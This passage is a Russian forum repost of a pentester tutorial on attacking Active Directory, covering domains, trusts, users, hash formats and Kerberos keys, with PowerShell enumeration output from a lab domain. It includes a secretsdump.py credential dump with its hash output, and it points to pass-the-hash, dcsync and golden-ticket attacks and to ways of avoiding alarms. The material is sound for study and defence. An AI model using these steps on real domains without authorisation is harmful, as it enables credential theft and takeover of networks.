• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Атака на Active Directory: от 0 до 0,9

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Зачем этот пост?

Цель этого руководства — рассмотреть Active Directory с точки зрения злоумышленника. Я попытаюсь рассмотреть различные аспекты Active Directory и те термины, которые должен контролировать каждый пентестер, чтобы понять атаки, которые могут быть выполнены в сети Active Directory.

Чтобы понять, как атаковать Active Directory (и любую другую технологию), я думаю, важно знать не только инструменты, но и то, как они работают, какие протоколы/механизмы они используют и почему эти механизмы/протоколы существуют.

Информация, представленная здесь, взята из открытых источников и моего собственного опыта работы с Active Directory. Тем не менее, я не могу быть уверен, что все изложенное здесь верно, поэтому вам предлагается выполнить собственный тест и, если вы обнаружите какую-либо ошибку, сообщите мне об этом (zer1t0ps@protonmail.com)

Более того, я знаю, что здесь описано не все об Active Directory, но я намерен охватить хотя бы базовые знания, необходимые для понимания Active Directory и их атак, и расширить этот источник в будущем. Итак, если вы чувствуете, что я упускаю что-то, что пентестер должен знать, связанный с Active Directory, пожалуйста, дайте мне знать ( zer1t0ps@protonmail.com)

Отказ от ответственности: Все это делается в образовательных целях, и вы должны применять описанные здесь атаки только к системам, для которых у вас есть разрешение.

Я попытался объяснить темы, присутствующие здесь, насколько я мог. Однако каждая тема сложна, поэтому я привожу как можно больше ссылок на внешние ресурсы. Мое основное намерение состоит в том, чтобы собрать всю информацию по Active Directory в одном месте, которое можно использовать для консультаций по атакам/протоколам/методам, а не просто объяснять каждую деталь конкретной техники (даже если я попытаюсь это сделать). Так что вам настоятельно рекомендуется перейти по гиперссылкам, чтобы узнать больше о конкретной теме, там есть отличные ресурсы.

Кстати, я хотел бы поблагодарить всех создателей контента, которые на протяжении многих лет делились знаниями с сообществом с помощью инструментов, блогов, выступлений на конференциях и т. д. Я ознакомился со столькими ресурсами, что мне было бы невозможно поблагодарить всех создателей контента одного за другим, но если вы найдете ссылку на один из ваших ресурсов или ресурс, с которым вы сотрудничали напрямую (путем добавления функции в инструмент, или помочь вашему другу написать пост) или косвенно (например, создание библиотеки/фрагмента/языка/ОС/IDE/редактора, который используется инструментом или блогом, который используется в качестве основы для поста, связанного здесь), спасибо .

На протяжении всей статьи я буду использовать Powershell, чтобы показать, как получить информацию из Active Directory. Для этой цели я буду использовать модуль ActiveDirectory Powershell (https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=windowsserver2019-ps), но вместо него можно использовать другие инструменты, такие как Powerview (https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1) или ldapsearch (https://docs.ldap.com/ldap-sdk/docs/tool-usages/ldapsearch.html ) .

Теперь давайте перейдем к делу.

Что такое Active Directory?

С моей точки зрения, Active Directory — это система, которая позволяет управлять набором компьютеров и пользователей, подключенных к одной сети, с центрального сервера.

Конечно, это определение далеко не совсем точное, но я надеюсь, что оно достаточно простое, чтобы дать вам представление о том, что такое AD.

1653209467114.png


Представьте себе компанию с сотнями сотрудников, где каждый работает на своем (вероятно, Windows) компьютере. В этой компании есть несколько разных отделов, таких как продажи, отдел кадров, ИТ и т. д.

Теперь представьте, что отделу продаж требуется установить новую программу на своих рабочих станциях. Или что каждый день пользователь в другом офисе забывает свой пароль, и его нужно восстановить. Или что новая группа стажеров должна работать только с несколькими документами файлового сервера.

Должна ли ИТ-группа устанавливать программу на все рабочие станции отдела продаж одну за другой? Должны ли они пойти в разные офисы и восстановить пароль пользователя? Должны ли они создавать нового пользователя для каждого стажера на файловом сервере, который позволяет просматривать файлы только в каталоге?

Ну, они могли бы это сделать, хотя это заняло много времени и работы (и пустая трата денег для компании). Но поскольку они умные люди, у них все компьютеры подключены к сети Active Directory, поэтому они могут выполнять все эти операции со своей рабочей станции.

Active Directory позволяет это за счет ведения централизованной базы данных, в которой хранится вся информация о пользователях, компьютерах, политиках, разрешениях и т. д. Так, например, ИТ-команда может подключиться к этой базе данных и создать новых пользователей для стажеров и назначить им разрешения на чтение файлов только в указанных каталогах определенных серверов их отделов.

Затем, когда один из этих стажеров пытается войти на компьютер в сети Active Directory, компьютер обращается к центральной базе данных, чтобы проверить, существует ли стажер-пользователь (и правильно ли введен пароль). Таким образом, пользователи могут входить на любой из компьютеров компании (если у них есть разрешения), позволяя сотрудникам использовать только пользователя для выполнения всей своей работы на всех компьютерах компании (это могут быть рабочие станции, серверы баз данных, файловые серверы, так далее).

Аналогичным образом, если пользователь забывает свой пароль, он может сообщить об этом ИТ-команде, и они могут изменить пароль пользователя в этой центральной базе данных (и пользователю предлагается изменить этот пароль на новый, который знает только он).

В случае отдела продаж ИТ-отдел может создать новую политику в базе данных, которая указывает, что компьютеры этого отдела должны установить указанную программу, и как они должны это делать. Затем, когда рабочая станция продавцов прочтет базу данных, они узнают, что должны выполнить эту политику, и будет установлена новая программа.

Я надеюсь, что этот пример позволит вам понять, почему Active Directory так полезна и почему ее использует практически любая организация (средняя и большая) в мире. Вероятно, вы использовали его, обычно с компьютера, который требует от вас нажатия Ctrl+Alt+Del перед запросом имени пользователя и пароля.

И… что произойдет, если кто-то сможет украсть пароль ИТ-пользователя? Может ли она изменить пароли других пользователей? А доступ к базе?

Теперь понятно, почему Active Directory так важна, давайте представим их элементы.

Домены

Во-первых, то, что мы называем сетью Active Directory, обычно называют доменом. Домен — это набор подключенных компьютеров, которые совместно используют базу данных Active Directory, которой управляют центральные серверы домена, называемые контроллерами домена.

Доменное имя

У каждого домена есть DNS-имя. Во многих компаниях имя домена совпадает с именем их веб-сайта, например, contoso.com, а другие имеют другой внутренний домен, например contoso.local.

PS C:\Users\Anakin> $env:USERDNSDOMAIN
CONTOSO.LOCAL
PS C:\Users\Anakin> (Get-ADDomain).DNSRoot
contoso.local

PS C:\Users\Anakin> (Get-WmiObject Win32_ComputerSystem).Domain
contoso.local


В дополнение к DNS-имени каждый домен также можно идентифицировать по NetBIOS-имени. Например, домен contoso.local может иметь NetBIOS-имя CONTOSO. Вы можете увидеть имя NetBIOS, используемое в операциях входа в систему, где пользователь идентифицируется чем-то вроде CONTOSO\Administrator, где первая часть — это имя NetBIOS, а вторая — имя пользователя.

Наконец, домен можно идентифицировать по его SID (идентификатору безопасности). SID больше используется программами (использующими Windows API), чем пользователями, но вы должны знать, как его получить, если он вам понадобится.

PS C:\Users\Anakin> Get-ADDomain | select DNSRoot,NetBIOSName,DomainSID

DNSRoot NetBIOSName DomainSID
------- ----------- ---------
contoso.local CONTOSO S-1-5-21-1372086773-2238746523-2939299801

Леса


Использование DNS-имени очень полезно, так как оно позволяет создавать поддомены для целей управления. Например, у компании может быть корневой домен contoso.local, а затем субдомены для разных (обычно крупных) отделов, например it.contoso.local или sales.contoso.local.

Как вы заметили, Active Directory предлагает множество способов организации вашей инфраструктуры, поэтому то, как организация использует поддомены, варьируется от одного к другому, некоторые создают поддомены для отделов, а другие используют их для разных офисов.

1653209539081.png


Это дерево доменов известно как Лес (https://docs.microsoft.com/en-us/windows/win32/ad/forests). Имя леса совпадает с именем корневого домена дерева.

PS C:\Users\Anakin> Get-ADForest

ApplicationPartitions : {DC=DomainDnsZones,DC=contoso,DC=local, DC=ForestDnsZones,DC=contoso,DC=local}
CrossForestReferences : {}
DomainNamingMaster : dc01.contoso.local
Domains : {contoso.local}
ForestMode : Windows2016Forest
GlobalCatalogs : {dc01.contoso.local, dc02.contoso.local}
Name : contoso.local
PartitionsContainer : CN=Partitions,CN=Configuration,DC=contoso,DC=local
RootDomain : contoso.local
SchemaMaster : dc01.contoso.local
Sites : {Default-First-Site-Name}
SPNSuffixes : {}
UPNSuffixes : {}


В лесу у каждого домена есть своя база данных и свои собственные контроллеры домена. Однако пользователи домена в лесу также могут получить доступ к другим доменам леса.

Это означает, что, даже если домен может быть автономным, без необходимости взаимодействия с другими доменами, он не изолирован с точки зрения безопасности, поскольку, как мы увидим, пользователь из домена может получить доступ к ресурсам других доменов в том же домене. лес (по умолчанию). Однако по умолчанию пользователи леса не могут получить доступ к ресурсам из других лесов, поэтому логической структурой, которая может обеспечить изоляцию безопасности, является лес.

Как я уже говорил, у каждого домена есть свои собственные контроллеры домена, поэтому, если отдел невероятно разрастается, вам могут понадобиться выделенные контроллеры домена, которые обрабатывают запросы всех компьютеров в этом отделе. Вы можете добиться этого, создав новый поддомен, и пользователи по-прежнему смогут получать доступ к компьютерам в других поддоменах того же леса.

Функциональные режимы

Как и компьютеры Windows, домены/леса также могут иметь свою "версию", которая называется функциональным режимом (https://docs.microsoft.com/en-us/tr...ive-directory-domain-forest-functional-levels). В зависимости от режима домена/леса могут использоваться новые характеристики.

Названия режимов основаны на минимальной операционной системе Windows Server, необходимой для работы с ними. Существуют следующие функциональные режимы( https://docs.microsoft.com/en-us/op.../ms-adts/564dc969-6db3-49b3-891a-f2f8d0a68a7f) :

Windows2000

Windows2000MixedDomains

Windows2003

Windows2008

Windows2008R2

Windows2012

Windows2012R2

Windows2016

PS C:\Users\Administrator\Downloads> (Get-ADForest).ForestMode
Windows2016Forest
PS C:\Users\Administrator\Downloads> (Get-ADDomain).DomainMode
Windows2016Domain


Затем, если, например, вы найдете домен/лес с режимом Windows2012, вы можете знать, что все контроллеры домена имеют как минимум Windows Server 2012. Вы должны знать о режиме, чтобы использовать некоторые характеристики домена, например, для группы "Защищенные пользователи" требуется режим Windows2012R2.

Доверие

Пользователи могут получить доступ к другим доменам в тех же лесах, поскольку они связаны соединениями, называемыми трастами.

Доверие — это соединение одного домена с другим (https://docs.microsoft.com/en-us/pr...ows-server-2008-r2-and-2008/cc731335(v=ws.10)). Не физическое сетевое соединение, а своего рода соединение для аутентификации/авторизации. Вы можете получить доступ к компьютерам в сети, которые находятся в других доменах, но вы не можете войти на эти компьютеры под своим пользователем этого домена. Это то, что доверие позволяет вам делать.

Направление доверия

Доверие – это направленное отношение, при котором одна сторона является доверяющей, а другая – доверенной. Когда эта ссылка установлена, пользователи доверенного домена могут получить доступ к ресурсам доверенного домена.

Направление доверия противоположно направлению доступа (https://docs.microsoft.com/en-us/pr...ows-server-2008-r2-and-2008/cc731404(v=ws.10). Вы можете думать, что если вы доверяете своей подруге, вы позволяете ей получить доступ к вашему дому и есть вашу еду, когда она в ней нуждается.

1653209600895.png


Когда доверие направляется через ваш текущий домен, оно называется входящим или входящим доверием. Входящие доверительные отношения позволяют пользователям вашего домена получать доступ к другому домену.

С другой стороны, существуют исходящие или исходящие доверительные отношения, которые переходят из вашего домена в другой. Поэтому пользователи другого домена могут получить доступ к вашему домену.

И когда два домена связаны как входящим, так и исходящим доверием, говорят, что они связаны двунаправленным доверием (даже если на самом деле существует два доверия).

Вы можете увидеть доверительные отношения вашего домена с помощью nltest /domain_trusts.

PS C:\Users\Administrator> nltest /domain_trusts
List of domain trusts:
0: CONTOSO contoso.local (NT 5) (Direct Outbound) ( Attr: foresttrans )
1: ITPOKEMON it.poke.mon (NT 5) (Forest: 2) (Direct Outbound) (Direct Inbound) ( Attr: withinforest )
2: POKEMON poke.mon (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully


Здесь мы видим, что наш текущий домен — poke.mon (причина атрибута (основной домен)) и есть пара доверий. Исходящее доверие с contoso.local указывает, что его пользователи могут получить доступ к нашему домену, poke.mon. Более того, существует второй двунаправленный траст с it.poke.mon, который является субдоменом poke.mon и находится в том же лесу.

PS C:\Users\Anakin> nltest /domain_trusts
List of domain trusts:
0: POKEMON poke.mon (NT 5) (Direct Inbound) ( Attr: foresttrans )
1: CONTOSO contoso.local (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully


Следовательно, если мы проверим доверие contoso.local, мы увидим входящее соединение от poke.mon, что согласуется с предыдущей информацией. Таким образом, пользователи contoso.local могут получить доступ к poke.mon.

Доверие транзитивности

Кроме того, траст может быть транзитивным или нетранзитивным (https://docs.microsoft.com/en-us/pr...ows-server-2008-r2-and-2008/cc754612(v=ws.10) ). Нетранзитивное доверие может использоваться только двумя сторонами доверия, доверяющей и доверенной. Принимая во внимание, что транзитивное доверие может действовать как мост и использоваться для третьих доменов, связанных с доменами, которые связаны транзитивным доверием.

1653209641737.png


Например, если доверие между доменом A и доменом B является транзитивным, то пользователи домена C могут получить доступ к домену A, пересекая оба доверия. Если отношение Домен A --> Домен B было нетранзитивным, пользователи домена C не могли бф получить доступ к домену A, а пользователи домена B могли.

Следовательно, в отношении доменов в одном лесу все пользователи доменов могут получить доступ к другим доменам, потому что все родительские и дочерние домены связаны через двунаправленные транзитивные доверительные отношения. Таким образом, любой домен леса может пройти необходимые доверительные отношения для доступа к другому домену в том же лесу.

В лесу, чтобы разрешить доступ из любого домена к любому другому, все родительские и дочерние домены связаны двунаправленным транзитивным доверием.

1653209652507.png


Таким образом, чтобы получить доступ к компьютерам hr.contoso.local, пользователь webs.it.contoso.local должен пройти три доверия.

Типы доверия

В Active Directory существует несколько типов доверия (https://docs.microsoft.com/en-us/pr...008-r2-and-2008/cc730798(v=ws.10)#trust-types) для разных целей:

-Parent-Child: доверительные отношения по умолчанию, созданные между родительским доменом и его дочерним.

- Forest : траст для обмена ресурсами между лесами. Таким образом, любой домен леса может получить доступ к любому домену другого леса (если это позволяют направление и транзитивность доверия). Если доверие леса настроено неправильно, оно может позволить получить контроль над другим лесом. ( http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/)

- External : доверие для подключения к определенному домену, который находится в недоверенном лесу.

- Realm: специальное доверие для соединения Active Directory и домена, отличного от Windows.

-Shortcut: когда два домена в лесу часто взаимодействуют, но не связаны напрямую, вы можете избежать перехода через множество доверительных отношений, создав прямое сокращенное доверие.

Ключ доверия

Технически, когда вы используете доверие, существует связь между контроллером домена вашего домена и контроллером домена целевого домена (или промежуточного домена).

Способ установления связи зависит от используемого протокола (это может быть NTLM, Kerberos и т. д.), но в любом случае контроллеры домена должны совместно использовать ключ для обеспечения безопасности связи. Этот ключ известен как ключ доверия и создается при установлении доверия.

Когда создается доверие, в базе данных домена создается доверительная учетная запись ( ) как если бы это был пользователь (с именем, заканчивающимся $). Затем ключ доверия сохраняется, как если бы он был паролем доверенного пользователя (в хэше NT и ключах Kerberos (https://zer1t0.gitlab.io/posts/attacking_ad/#user-kerberos-keys ).

Подробнее о доверии

Чтобы узнать, как можно злоупотреблять доверием в пентесте, вы можете проверить следующие сообщения (для их прочтения также рекомендуется небольшое знание Kerberos):

- Все дело в доверии — подделка билетов доверия Kerberos для подмены доступа через доверительные отношения Active Directory (https://adsecurity.org/?p=1588 )

- Руководство по атаке доменных трастов -(http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ )

- Доверия леса Active Directory, часть 1. Как работает фильтрация SID? (https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/)

- Inter-Realm Key Roasting (well… within the first 30 days) (https://blog.xpnsec.com/inter-realm-key-roasting/)

-Не граница безопасности: нарушение лесных трастов (http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/)

Пользователи

Одним из ключевых моментов использования Active Directory является управление пользователями. Каждая организация управляет своими пользователями по-разному, устанавливая для них форматы имен, назначая разные разрешения и т. д.

Чтобы упростить управление пользователями в Active Directory, они хранятся в виде объектов в центральной базе данных, с которыми можно консультироваться и манипулировать ими из любой точки домена (если у вас достаточно прав).

Свойства пользователя

Идентификаторы пользователей


Пользовательский объект хранит множество различных данных, но в первую очередь следует учитывать те атрибуты, которые позволяют нам идентифицировать пользователя.

Для идентификации пользователя обычно используется имя пользователя, которое хранится в атрибуте SamAccountName. Кроме того, SID (идентификатор безопасности) также может использоваться для идентификации пользователя.

SID пользователя похож на SID домена и фактически представляет собой комбинацию SID домена и RID пользователя (относительный идентификатор), который является последним числом, которое появляется в SID пользователя.

PS C:\Users\Anakin> Get-ADUser Anakin

DistinguishedName : CN=Anakin,CN=Users,DC=contoso,DC=local
Enabled : True
GivenName : Anakin
Name : Anakin
ObjectClass : user
ObjectGUID : 58ab0512-9c96-4e97-bf53-019e86fd3ed7
SamAccountName : anakin
SID : S-1-5-21-1372086773-2238746523-2939299801-1103
Surname :
UserPrincipalName : anakin@contoso.local


В этом случае SID домена — S-1-5-21-1372086773-2238746523-2939299801, а RID пользователя — 1103. Некоторые инструменты отображают SID в своих выходных данных вместо имени пользователя (поскольку оно используется в некоторых структурах, таких как дескрипторы безопасности), поэтому вам следует знать его формат, чтобы идентифицировать его. (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-security_descriptor)

Кроме того, DistinguishedName используется API LDAP для идентификации объектов (https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ldap/distinguished-names), поэтому, если вы запрашиваете базу данных с помощью LDAP (что является одним из наиболее распространенных способов), вы, вероятно, увидите ссылки на объекты через его DistinguishedName.

Секреты пользователя

Кроме того, база данных также должна хранить секреты пользователя, чтобы позволить контроллеру домена аутентифицировать пользователя. Пароль пользователя не хранится в открытом виде, но сохраняются следующие полученные из него секреты:

-NT хеш (и LM хеш для старых учетных записей)

-Керберос ключи


Излишне говорить, что пользовательские секреты не могут быть получены пользователями без прав администратора. Даже компьютеры домена не могут получить к ним доступ, но оставляют аутентификацию контроллеру домена.

Чтобы получить пользовательские секреты, вам нужны права администратора (или эквивалентные) для создания дампа базы данных домена с помощью атаки dcsync или захвата файла C:\Windows\NTDS\ntds.dit с контроллера домена.

Хэши LM/NT

Хэши LM и NT (https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4) хранятся как в локальной базе данных SAM Windows (https://en.wikipedia.org/wiki/Security_Account_Manager), так и в базе данных Active Directory NTDS для аутентификации локальных пользователей и пользователей домена соответственно. Эти хэши, как LM, так и NT, имеют длину 16 байт.

Password: 123456
LM hash: 44EFCE164AB921CAAAD3B435B51404EE
NT hash: 32ED87BDB5FDC5E9CBA88547376818D4


Однако хэши LM довольно слабые (https://en.wikipedia.org/wiki/LAN_Manager#Security_weaknesses), поэтому они не используются, начиная с Windows Vista/Server 2008. Процедура создания хэша LM следующая (https://asecuritysite.com/encryption/lmhash) :

1. Преобразуйте пароль пользователя в верхний регистр. (Это уменьшает пространство поиска для атаки полным перебором).

2. Если пароль пользователя меньше 14 символов, он дополняется символами NULL, пока длина не станет 14.

Если пароль больше 14 символов, то он усекается. (Бесполезно иметь пароли более 14 символов).

3. Затем пароль разбивается на две строки по 7 байт каждая.

4. Каждая 7-байтовая строка используется в качестве ключа для шифрования строки KGS!+#$% с использованием криптографического алгоритма DES. В результате получается два хэша.

5. Два результирующих значения объединяются для формирования хэша LM. (можно взломать каждую часть отдельно)

upper_password = to_uppercase(password)
14_password = truncate_to_14_bytes(upper_password)

7_part1, 7_part2 = split_7(14_password)

hash1 = des(7_part1, "KGS!+#$%")
hash2 = des(7_part2, "KGS!+#$%")

lm_hash = hash1 + hash2


С другой стороны, хэш NT немного сильнее (https://en.wikipedia.org/wiki/Salt_(cryptography)), но для его вычисления не используется соль, поэтому его можно взломать, используя предварительно вычисленные значения (например, радужные таблицы (https://en.wikipedia.org/wiki/Rainbow_table)).

Если вам интересно, хэш NT вычисляется путем применения алгоритма MD4 (https://en.wikipedia.org/wiki/MD4 )(который устарел (https://tools.ietf.org/html/rfc6150)) непосредственно к версии Unicode (в частности, кодировке UTF-16LE) пароля пользователя.

nt_hash = md4(encode_in_utf_16le(password))

Много раз хэш NT называется хэшем NTLM, однако это может сбивать с толку, поскольку протокол NTLM также использует хэши, называемые хешами NTLM. В этой статье хеш NTLM будет хэшем протокола NTLM.

Многие инструменты позволяют извлекать хэши LM и NT и обычно возвращают вывод с несколькими строками, по одной на пользователя, в формате <username>:<rid>:<LM>:<NT>:::. Если LM не используется, его значение будет aad3b435b51404eeaad3b435b51404ee (LM-хэш пустой строки).

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::
user:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::


Для пентестера важно распознавать хэши NT, поскольку, даже если они не являются паролями пользователей, они используются для аутентификации на машинах Windows, поэтому они очень полезны. Их можно использовать для выполнения атак Pass-The-Hash или Overpass-the-Hash, чтобы выдавать себя за пользователей на удаленных машинах.

Кроме того, вы можете попытаться взломать хэши LM и NT с помощью hashcat (https://hashcat.net/), чтобы восстановить исходный пароль. Если вам повезло и LM-хеш присутствует, это должно быть быстро.

Ключи Kerberos

Помимо хэшей LM/NT, сохраняются ключи Kerberos, полученные из пароля пользователя и используемые в протоколе аутентификации Kerberos.

Ключи Kerberos можно использовать для запроса билета Kerberos, который представляет пользователя при проверке подлинности Kerberos. Существует несколько разных ключей, и разные используются для разной поддержки шифрования Kerberos:

-Ключ AES 256: используется алгоритмом AES256-CTS-HMAC-SHA1-96 (https://tools.ietf.org/html/rfc3962). Это тот, который обычно используется Kerberos, и его должен использовать пентестер, чтобы избежать срабатывания аварийных сигналов.

-Ключ AES 128: используется алгоритмом AES128-CTS-HMAC-SHA1-96 (https://tools.ietf.org/html/rfc3962).

- Ключ DES: используется устаревшим алгоритмом DES-CBC-MD5 (https://datatracker.ietf.org/doc/html/rfc3961#section-6.2.1).

- Ключ -RC4: это NT-хэш пользователя, используемый алгоритмом RC4-HMAC (https://tools.ietf.org/html/rfc4757).

$ secretsdump.py 'contoso.local/Administrator@192.168.100.2' -just-dc-user anakin
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
contoso.local\anakin:1103:aad3b435b51404eeaad3b435b51404ee:cdeae556dc28c24b5b7b14e9df5b6e21:::
[*] Kerberos keys grabbed
contoso.local\anakin:aes256-cts-hmac-sha1-96:ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e
contoso.local\anakin:aes128-cts-hmac-sha1-96:18fe293e673950214c67e9f9fe753198
contoso.local\anakin:des-cbc-md5:fbba85fbb63d04cb
[*] Cleaning up...


Эти ключи можно использовать в атаке Pass-The-Key ( ) для получения билета для олицетворяемого пользователя. Затем вы можете использовать этот билет Kerberos для аутентификации в различных службах домена от имени пользователя.

UserAccountControl

Одним интересным свойством пользовательского класса является UserAccountControl (UAC) (не путайте его с механизмом контроля учетных записей (https://docs.microsoft.com/en-us/tr...raccountcontrol-manipulate-account-properties) , чтобы избежать выполнения программ с повышенными правами на компьютерах с Windows).

Свойство UserAccountControl содержит ряд флагов, которые очень важны для безопасности и домена и используются во многих атаках, упомянутых в этом посте. Вот самые актуальные:

- ACCOUNTDISABLE -> Учетная запись отключена и не может быть использована.

- DONT_REQUIRE_PREAUTH -> Учетная запись не требует предварительной аутентификации Kerberos.

- NOT_DELEGATED -> Эта учетная запись не может быть делегирована через делегирование Kerberos.

- TRUSTED_FOR_DELEGATION -> Неограниченное делегирование Kerberos включено для этой учетной записи и ее служб. Для его изменения требуется SeEnableDelegationPrivilege ( http://www.harmj0y.net/blog/actived...-user-right-you-probably-have-never-heard-of/).

- TRUSTED_TO_AUTH_FOR_DELEGATION -> Расширение Kerberos S4U2Self включено для этой учетной записи и ее служб. Для его изменения требуется SeEnableDelegationPrivilege ( http://www.harmj0y.net/blog/actived...-user-right-you-probably-have-never-heard-of/).

Другие свойства пользователя

Есть и другие свойства, которые могут быть полезны в пентесте:

- Description (https://docs.microsoft.com/en-us/windows/win32/adschema/a-description) -> Описание пользователя. Он может дать представление о правах пользователя, а иногда даже включает пароль.

-AdminCount (https://docs.microsoft.com/en-us/windows/win32/adschema/a-admincount)-> Указывает, защищен ли пользователь (или группа) объектом AdminSDHolder, или он был защищен. Поскольку иногда не обновляется, используйте его только как ссылку.

- MemberOf -> Группы, членом которых является пользователь. Это свойство является логическим и генерируется из свойства группы Members.

-PrimaryGroupID (https://docs.microsoft.com/en-us/windows/win32/adschema/a-primarygroupid) -> Основная группа пользователя. Эта группа не отображается в свойстве MemberOf.

-ServicePrincipalName (https://docs.microsoft.com/en-us/windows/win32/adschema/a-serviceprincipalname) -> Службы пользователя. Может быть полезен для атаки Kerberoast.

-msDS-AllowedToDelegateTo( https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/86261ca1-154c-41fb-8e5f-c6446e77daaa) -> Список служб, для которых пользователь (и его собственные службы) может олицетворять клиентов с помощью ограниченного делегирования Kerberos. Для его изменения требуется SeEnableDelegationPrivilege( http://www.harmj0y.net/blog/actived...-user-right-you-probably-have-never-heard-of/).

Важные пользователи

Для консультации с пользователями есть несколько вариантов, таких как команда net user /domain или Powershell. Нет необходимости иметь специальную привилегию для вывода списка пользователей, это может сделать любой пользователь.

PS C:\Users\Anakin> Get-ADUser -Filter * | select SamAccountName

SamAccountName
--------------
Administrator
Guest
krbtgt
anakin
han
POKEMON$


Как вы могли заметить, мой тестовый домен небольшой, с очень небольшим количеством пользователей, но в реальном взаимодействии будут сотни или тысячи пользователей. Поэтому важно различать, что действительно важно. Это может быть немного сложно, так как это зависит от организации, но обычно члены ИТ-команды используют привилегированных пользователей, им это нужно для работы.

Более того, по умолчанию встроенный пользователь-администратор является самой привилегированной учетной записью домена. Он может выполнять любые действия на любом компьютере. Таким образом, если вам удастся скомпрометировать эту учетную запись, вы получите полный контроль над доменом (и даже над лесом, используя атаку с использованием истории SID (https://adsecurity.org/?p=1640)).

Кроме того, учетная запись krbtgt также очень важна. Его секреты (хэш NT и ключи Kerberos) используются для шифрования билетов (в частности, TGT), используемых Kerberos, что позволяет аутентифицировать пользователей. Если вам удастся скомпрометировать учетную запись krbtgt, вы сможете создавать золотые билеты( https://en.hackndo.com/kerberos-silver-golden-tickets/). Обычно эту учетную запись можно скомпрометировать только путем сброса базы данных домена, поскольку она используется только в контроллерах домена, для чего потребуются права администратора в домене.

Учетные записи компьютеров

Еще одна вещь, которую следует учитывать, это то, что в организации у каждого человека есть свой пользователь, и даже у некоторых людей, таких как ИТ-отдел, может быть несколько пользователей на человека для выполнения различных задач. Более того, также у каждого компьютера домена есть свой пользователь, так как им тоже нужно выполнять свои действия в домене.

Разница между учетными записями пользователей и учетными записями компьютеров заключается в том, что первые хранятся как экземпляры класса User (https://docs.microsoft.com/en-us/windows/win32/adschema/c-user) в базе данных, тогда как другие хранятся как экземпляры класса Computer (https://docs.microsoft.com/en-us/windows/win32/adschema/c-computer), который является подклассом класса User. Кроме того, имена учетных записей компьютеров представляют собой имена хостов компьютеров, заканчивающиеся знаком доллара $.

Вы можете проверить это, выполнив следующую команду:

PS C:\> Get-ADObject -LDAPFilter "objectClass=User" -Properties SamAccountName | select SamAccountName

SamAccountName
--------------
Administrator
Guest
DC01$
krbtgt
anakin
WS01-10$
WS02-7$
DC02$
han
POKEMON$


Как видите, пользователей намного больше, чем при использовании команды Get-ADUser, поскольку теперь включены подклассы класса User. Вы можете оценить, что новые учетные записи заканчиваются знаком доллара и, кажется, имеют имя компьютера. Например, DC01$ и DC02$ для контроллеров домена и WS01-10$ и WS02-7$ для рабочих станций.

Более того, объекты-компьютеры также сохранили информацию об их операционной системе, которую можно получить из атрибутов OperatingSystem или OperatingSystemVersion.

Кроме того, во многих организациях существуют правила выбора имен компьютеров и пользователей, поэтому, если вы в состоянии понять имена, вы можете быть осведомлены об использовании компьютеров и учетных записей пользователей, а также о том, какие из них могут быть привилегированные или содержат доступ к важной информации. Кроме того, вы можете проверить другие атрибуты объектов, такие как Описание, чтобы найти там больше информации (и даже пароли в открытом виде). Для этой цели может быть полезен командлет Find-DomainObjectPropertyOutlier (https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) для Powerview (https://github.com/BC-SECURITY/Empi...e/situational_awareness/network/powerview.ps1).

Аккаунты доверия

Однако есть также учетная запись POKEMON$, которая появляется как в Get-ADUser, так и в Get-ADObject, но имя которой заканчивается знаком доллара. Это может быть обычный пользователь (нет проблем с созданием имен пользователей, заканчивающихся $), однако, как мы видели ранее, существует доверие с доменом poke.mon.

При установлении доверия в каждом домене создается связанный пользовательский объект для хранения ключа доверия. Имя пользователя — это NetBIOS-имя другого домена, заканчивающееся $ (аналогично имени учетной записи компьютера). Например, в случае доверия между доменами FOO и BAR, домен FOO будет хранить ключ доверия в пользователе BAR$, а домен BAR будет хранить его в пользователе FOO$.

PS C:\> Get-ADUser -LDAPFilter "(SamAccountName=*$)" | select SamAccountName

SamAccountName
--------------
POKEMON$


Этот пользовательский объект POKEMON$ используется для хранения ключей доверия, которые являются хэшем NT или ключами Kerberos (один из других используется в зависимости от контекста). Если вы можете получить секреты этой учетной записи ( https://zer1t0.gitlab.io/posts/attacking_ad/Domain database dumping), вы можете создавать билеты Kerberos ( https://adsecurity.org/?p=1588) между областями.

Группы

Но управление пользователями может быть громоздким без групп. Представьте, что у вас есть отдел менеджеров, которому нужен доступ к очень конфиденциальным документам. Следует ли давать разрешение каждому менеджеру по одному? Работы много, но вы справитесь, потому что каждый год добавляется только новый менеджер. Но теперь политика меняется, и менеджеры также должны иметь доступ к документам отдела кадров. Стоит ли менять все разрешения менеджеров по одному? Нет, будет слишком много работы и довольно скучно.

Решение заключается в использовании групп (https://docs.microsoft.com/en-us/wi...ctory-security-groups#default-security-groups). В этом случае у вас может быть группа Менеджер, в которую добавляются пользователи-менеджеры, и при изменении политики вы должны добавлять или удалять разрешения для группы.

